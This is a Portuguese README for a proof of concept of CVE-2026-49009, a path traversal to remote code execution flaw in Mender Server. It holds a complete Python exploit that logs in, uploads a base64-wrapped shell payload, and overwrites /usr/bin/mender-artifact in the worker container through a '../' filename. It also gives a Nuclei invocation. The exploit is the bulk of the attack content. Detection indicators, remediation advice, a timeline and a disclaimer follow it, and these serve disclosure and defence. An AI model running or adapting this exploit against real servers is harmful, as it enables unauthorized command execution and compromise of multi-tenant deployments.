### Por Que Isso Funciona

| Fator | Explicação |
|---|---|
| **Caminho não sanitizado** | `../../../../usr/bin/mender-artifact` escapa do destino pretendido `/opt/mender/app/` |
| **Processamento assíncrono** | O `create-artifact-worker` escreve o arquivo de forma assíncrona, antes de qualquer validação downstream |
| **Sequestro de binário** | Etapas subsequentes do fluxo de trabalho invocam `/usr/bin/mender-artifact` como parte da operação normal |
| **Reutilização de contêiner** | Em implantações multi-inquilino, o mesmo contêiner worker processa artefatos para todos os inquilinos |

---

## Prova de Conceito

> **Autorização necessária.** Execute apenas contra sistemas que você possui ou tem permissão explícita por escrito para testar.

### Exploit em Python

<details>
<summary>▶ Ver código do exploit</summary>```python
#!/usr/bin/env python3
"""
CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE
Discovered by: j0xh-sec (HackerOne)
PoC by:        INTELEON404 (Authorized security assessment)
"""

import argparse
import base64
import json
import re
import sys
import time

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE",
        epilog="Discovered by j0xh-sec | PoC by INTELEON404"
    )
    parser.add_argument("-t", "--target",   required=True, help="Base URL, e.g. https://mender.local")
    parser.add_argument("-u", "--username", required=True, help="Mender username / email")
    parser.add_argument("-p", "--password", required=True, help="Mender password")
    parser.add_argument("-c", "--command",  required=True, help="Command to execute")
    return parser.parse_args()


def banner():
    print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE")
    print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n")


def build_payload(command: str) -> bytes:
    """Encode command as base64 shell script; preserves mender-artifact stdin passthrough."""
    encoded = base64.b64encode(command.encode()).decode()
    return f"""#!/bin/sh
# CVE-2026-49009 payload — INTELEON404
CMD_B64="{encoded}"
CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")"
/bin/sh -c "$CMD"
exec /bin/sh "$@"
""".encode()


def main():
    args = parse_args()
    banner()

    target = args.target.rstrip("/")
    if not target.startswith(("http://", "https://")):
        target = "https://" + target
    host = target.split("://")[1].split("/")[0]

    print(f"[*] Target : {target}")
    print(f"[*] User   : {args.username}")

    # ── Step 1: Authenticate ──────────────────────────────────────────────
    print("[*] Authenticating...")
    try:
        r = requests.post(
            f"{target}/api/management/v1/useradm/auth/login",
            auth=(args.username, args.password),
            headers={"Host": host, "Content-Type": "application/json"},
            data="{}",
            verify=False,
            timeout=30,
        )
        if r.status_code != 200:
            raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}")
        jwt = r.text.strip()
        print("[+] JWT obtained")
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during login: {e}")

    # ── Step 2: Submit traversal payload ─────────────────────────────────
    print("[*] Submitting path traversal payload...")
    artifact_name = f"rce-poc-{int(time.time())}"

    args_json = {
        "filename": "../../../../usr/bin/mender-artifact",
        "dest_dir": "/opt/mender/app",
        "software_name": "demo",
        "software_version": "1",
    }

    files = {
        "name":                     (None, artifact_name),
        "description":              (None, "CVE-2026-49009 PoC"),
        "type":                     (None, "single-file"),
        "device_types_compatible":  (None, "qemu"),
        "args":                     (None, json.dumps(args_json), "application/json"),
        "file":                     ("payload.sh", build_payload(args.command), "application/octet-stream"),
    }

    try:
        r = requests.post(
            f"{target}/api/management/v1/deployments/artifacts/generate",
            headers={"Host": host, "Authorization": f"Bearer {jwt}"},
            files=files,
            verify=False,
            timeout=60,
            allow_redirects=False,
        )
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during exploit: {e}")

    location = r.headers.get("Location", "")
    if not location:
        print(f"[!] HTTP {r.status_code} — no Location header returned")
        print(f"[!] Response: {r.text[:500]}")
        print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions")
        sys.exit(1)

    job_id = re.search(r"/([^/]+)$", location).group(1)
    print(f"[+] Workflow submitted — Job ID: {job_id}")
    print(f"[+] Payload : {args.command}")
    print("\n[*] Command executes inside the worker container when the workflow completes.")


if __name__ == "__main__":
    try:
        main()
    except RuntimeError as e:
        print(f"\n[!] ERROR: {e}", file=sys.stderr)
        sys.exit(1)
    except KeyboardInterrupt:
        print("\n[*] Interrupted")
        sys.exit(130)

### Nuclei```bash
nuclei -t CVE-2026-49009.yaml \
  -u https://mender-server.local \
  -var [email protected] \
  -var PASSWORD='s3cret!'

---

## Detecção e Indicadores

### Aplicativo / Host

| Indicador | Descrição |
|---|---|
| Cabeçalho `Location` após nome de arquivo com travessia | Servidor retorna `Location` após aceitar nome de arquivo contendo `../` |
| Nomes de artefato suspeitos | Padrões: `cve-poc-*`, `rce-poc-*`, `pwn-*` |
| Timestamp do binário modificado | Timestamp de `/usr/bin/mender-artifact` alterado dentro do contêiner worker |
| Saída inesperada do worker | Logs do contêiner mostrando comandos não relacionados ao processamento de artefatos |

### Rede

| Indicador | Descrição |
|---|---|
| POST para `artifacts/generate` | Com JSON `args` contendo sequências `../` |
| Par de autenticação + upload | Login de autenticação básica seguido imediatamente por upload multipart do mesmo IP de origem |

### Lógica de Correspondência do Nuclei

O template retorna um resultado positivo quando:
1. `POST /useradm/auth/login` → `HTTP 200` + JWT válido (> 100 caracteres)
2. `POST /artifacts/generate` → `HTTP 2xx` + cabeçalho `Location` presente

Um servidor corrigido (≥ 4.1.1 / 4.0.2) rejeita o caminho de travessia com `HTTP 4xx` na etapa 2.

---

## Remediação

| Prioridade | Ação |
|---|---|
| **Imediata** | Atualizar para o Mender Server **4.1.1** ou **4.0.2** |
| **Controle compensatório** | Habilitar assinatura criptográfica de artefatos — dispositivos rejeitam artefatos adulterados |
| **Solução alternativa** | Restringir acesso à API a redes confiáveis; desabilitar geração de artefatos se não utilizada |
| **Auditoria** | Revisar logs de solicitações de geração de artefato com valores incomuns de `filename` |

---

## Linha do Tempo

| Data | Evento |
|---|---|
| 2026-04-01 | Mender Server 4.1.1 / 4.0.2 lançado com correção |
| 2026-05-27 | CVE publicado; aviso divulgado pela Northern.tech |
| 2026-05-27 | PoC publicado por INTELEON404 |

---

## Referências

- [NVD — CVE-2026-49009](https://nvd.nist.gov/vuln/detail/CVE-2026-49009)
- [Northern.tech Security Advisory](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server)
- [OpenCVE Entry](https://app.opencve.io/cve/CVE-2026-49009)
- [Tenable CVE Page](https://www.tenable.com/cve/CVE-2026-49009)
- [Mender Server Changelog](https://docs.mender.io/release-information/release-notes-changelog/mender-server)
- [Mender Enterprise Changelog](https://docs.mender.io/release-information/release-notes-changelog/mender-server-enterprise)
- [INTELEON404/CVE-2026-49009](https://github.com/INTELEON404/CVE-2026-49009)
- [j0xh-sec/CVE-2026-49009](https://github.com/j0xh-sec/CVE-2026-49009)

---

## Aviso Legal

> [!WARNING]
> **Apenas para testes de segurança autorizados e fins educacionais.**
>
> Esta prova de conceito destina-se estritamente ao uso contra sistemas que você possui ou para os quais recebeu **permissão explícita por escrito** para testar. O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA), o Computer Misuse Act (CMA) e legislação equivalente em todo o mundo.
>
> Os autores não aceitam responsabilidade por uso indevido, danos ou atividades ilegais decorrentes deste material.

---

<div align="center">

**Descoberto por** [j0xh-sec](https://hackerone.com/j0xh-sec) via HackerOne · Divulgação responsável para Northern.tech  
**PoC por** INTELEON404 · Avaliação de segurança autorizada

</div>